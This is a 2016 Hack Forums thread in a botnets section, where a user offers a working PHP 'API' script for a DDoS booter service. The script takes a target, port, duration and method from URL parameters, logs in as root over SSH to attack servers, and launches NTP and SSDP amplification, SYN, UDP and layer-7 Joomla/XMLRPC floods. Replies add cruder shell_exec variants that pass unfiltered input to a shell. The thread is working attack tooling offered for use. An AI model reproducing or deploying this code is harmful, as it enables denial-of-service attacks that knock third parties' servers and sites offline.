Hack Forums
Offering API Setup (API script has stop button) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Botnets and Botting (https://hackforums.net/forumdisplay.php?fid=92)
+---- Thread: Offering API Setup (API script has stop button) (/showthread.php?tid=5331723)



Offering API Setup (API script has stop button) - AYDN - Jul 8, 2016

I'm offering to setup/help setup a working api on anyones servers that wants it, or just hook you up with the commands and the php api script which includes a working stop button

I know I have neg rep... i'm trying man :(

If you want some help PM me your skype and I will hit you up

API
PHP Code

<?php
$servers 
= array(
        array(
'server ip', array('root', 'password here')),
        );
 
 
class 
ssh2
{
   var 
$connection;
 
   function 
__construct($host, $user, $pass) {
           if (!
$this->connection = ssh2_connect($host, 22))
                   echo 
"Error connecting to server";
           if (!
ssh2_auth_password($this->connection, $user, $pass))
                   echo 
"Error with login credentials";
   }
 
   function 
exec($cmd) {
           if (!
ssh2_exec($this->connection, $cmd))
                   echo 
"Error executing command: $cmd";
           
ssh2_exec($this->connection, 'exit');
           unset(
$this->connection);
           return 
true;
   }
}
 
class 
API
{
   
    private 
$get;
    public 
$message = "None";
    private 
$server;
    public 
$isL7 = false;
   
 
    public function 
__construct(array $server)
    {
        
$this->server = $server;
        
$this->get = (object) $_GET;
    }
   
    public function 
start()
    {
 
        if(
$this->validate()) {
            
$this->doBoot();
        }
        return 
$this->message;
    }
   
   
    private function 
validate()
    {
 
       
        if (!
filter_var($this->get->host, FILTER_VALIDATE_IP)) {
                if(!
filter_var($this->get->host, FILTER_VALIDATE_URL)) {
                        
$this->message = "Invalid IP/URL";
                        return 
false;            
                }
                
$this->isL7 = true;
        }
       
        if (!
intval($this->get->port) >= 1) {
            
$this->message = "Invalid Port";
            return 
false;
        }
       
        if (!
intval($this->get->time) >= 1) {
            
$this->message = "Invalid Time";
            return 
false;
        }
 
        return 
true;
 
    }
   
   
    private function 
doBoot()
    {
        
//screen assigned name
        
$smIP = escapeshellarg(str_replace(".", "", $this->get->host));
        
//$this->get->host = escapeshellarg($this->get->host);
 
        
switch(strtoupper($this->get->method)) {
                       
                        case 
'JOOMLA':
                
//Any L7 Methods need this if statement before, otherwise a L7 could attack an IP (wouldn't want that.)
                
if($this->isL7==true) {
                    
$command = "screen -dmS Test ./joomla03 {$this->get->host} j.txt {$this->get->time} 512";
                }
                
$this->message = 'JOOMLA attack sent';
                break;
                               
                        case 
'NTP':
                 
$command = "screen -dmS {$smIP} ./ntp {$this->get->host} {$this->get->port} ntp.txt 1 -1 {$this->get->time}";
                 
$this->message = 'NTP attack sent';
                break;
 
            case 
'SSDP':
                 
$command = "screen -dmS {$smIP} ./ssdp {$this->get->host} {$this->get->port} ssdp.txt 15 {$this->get->time}";
                 
$this->message = 'SSDP attack sent';
                break;
                               
                        case 
'TCP':
                 
$command = "screen -dmS {$smIP} ./tcp {$this->get->host} {$this->get->port} 80 25 -1 {$this->get->time}";
                 
$this->message = 'TCP attack sent';
                break;
 
            case 
'UDP':
                
$command = "screen -dmS {$smIP} perl ./udp.pl {$this->get->host} {$this->get->port} 65500 {$this->get->time}";
                
$this->message = 'UDP attack sent';
                break;
                               
                        case 
'XSYN':
                 
$command = "screen -dmS {$smIP} ./xsyn {$this->get->host} {$this->get->port} 1 -1 {$this->get->time}";
                 
$this->message = 'XSYN attack sent';
                break;
                               
                        case 
'SSYN':
                 
$command = "screen -dmS {$smIP} ./ssyn {$this->get->host} {$this->get->port} {$this->get->time}";
                 
$this->message = 'SSYN attack sent';
                break; 
 
            case 
'XMLRPC':
                
$command = "screen -dmS {$smIP} ./xmlrpc {$this->get->host} xmlrpc.txt {$this->get->time} 1000";
                
$this->message = 'XMLRPC attack sent';
                break;
                               
                        case 
'DOMINATE':
                 
$command = "screen -dmS {$smIP} ./dominate {$this->get->host} {$this->get->port} 20 -1 {$this->get->time}";
                 
$this->message = 'DOMINATE attack sent';
                break;
 
 
            case 
"STOP":
                
$command = "screen -X -s {$smIP} quit";
                
$this->message = "Attack Stopped";
                break;
 
            default:
                
$this->message = "Invalid Method";
                break;
        }
 
        if(!empty(
$command)) {
 
            
$ssh = new ssh2($this->server[0], $this->server[1][0], $this->server[1][1]);
 
            if(!
$ssh->exec($command)) {
                
$this->message = 'Error executing attack on server.';
            }
 
        }
 
        return 
$this->message;
    }  
}
 
 
//Check SSH2 Function
if (!function_exists('ssh2_connect'))
{
    die(
"Install the php ssh2 module.\n");
}
 
$attack = new API(array($servers[0][0], $servers[0][1]));
$attack->start();
echo 
$attack->message;
 
//Nothing is outputting in shell? nope
 //usage: api.php?host=HOST&port=PORT&time=TIME&method=METHOD 



* - Surday - Jul 8, 2016

PHP Code

<?php

$target 
= $_GET['target'];
$port = $_GET['port'];
$time = $_GET['time'];
$method = $_GET['method'];

// ADD FILTER SHIT IT FOR GET INPUTS

switch ($method) {

//Methods
case UDP:
shell_exec('./ddos $ip $port $time');
echo 
"Attack was sent with success!";
break;

// Empty Response
default:
echo 
"Please enter a valid method";
break;

} 



* - AYDN - Jul 8, 2016

(Jul 8, 2016 09:23 AM)Completed™ Wrote:  
PHP Code

<?php

$target 
= $_GET['target'];
$port = $_GET['port'];
$time = $_GET['time'];
$method = $_GET['method'];

// ADD FILTER SHIT IT FOR GET INPUTS

switch ($method) {

//Methods
case UDP:
shell_exec('./ddos $ip $port $time');
echo 
"Attack was sent with success!";
break;

// Empty Response
default:
echo 
"Please enter a valid method";
break;

} 

Thats not a good api script at all it doesn't have a key? or a stop button? not even sending the attack via screen!


* - Surday - Jul 8, 2016

(Jul 8, 2016 09:23 AM)AYDN Wrote:  Thats not a good api script at all it doesn't have a key? or a stop button? not even sending the attack via screen!

Not hard at all to implement this at all.

PHP Code

<?php 
$proc   
= hash('crc32', $target);

case 
STOP:
shell_exec('pkill -f $proc');
echo 
"Attack has been stopped";
break; 

Adding a key is even simplier.

PHP Code

<?php 
shell_exec
('screen -dmS $proc ./ddos $ip $port $time');
echo 
"Attack was sent with success!";
break; 



* - AYDN - Jul 8, 2016

(Jul 8, 2016 09:27 AM)Completed™ Wrote:  Not hard at all to implement this at all.

PHP Code

<?php 
$proc   
= hash('crc32', $target);

case 
STOP:
shell_exec('pkill -f $proc');
echo 
"Attack has been stopped";
break; 

Adding a key is even simplier.

Dude this is for new users not users that know there shit like you and me, trying to help the people that don't know how to do that!


* - Drunkatwork - Jul 8, 2016

please load your wget payload on my server


* - AYDN - Jul 8, 2016

(Jul 8, 2016 10:10 AM)Le Foxel Wrote:  please load your wget payload on my server

lol i'm not touching your server, i'm giving you the raw scripts and commands lol fucking idiots on hf lol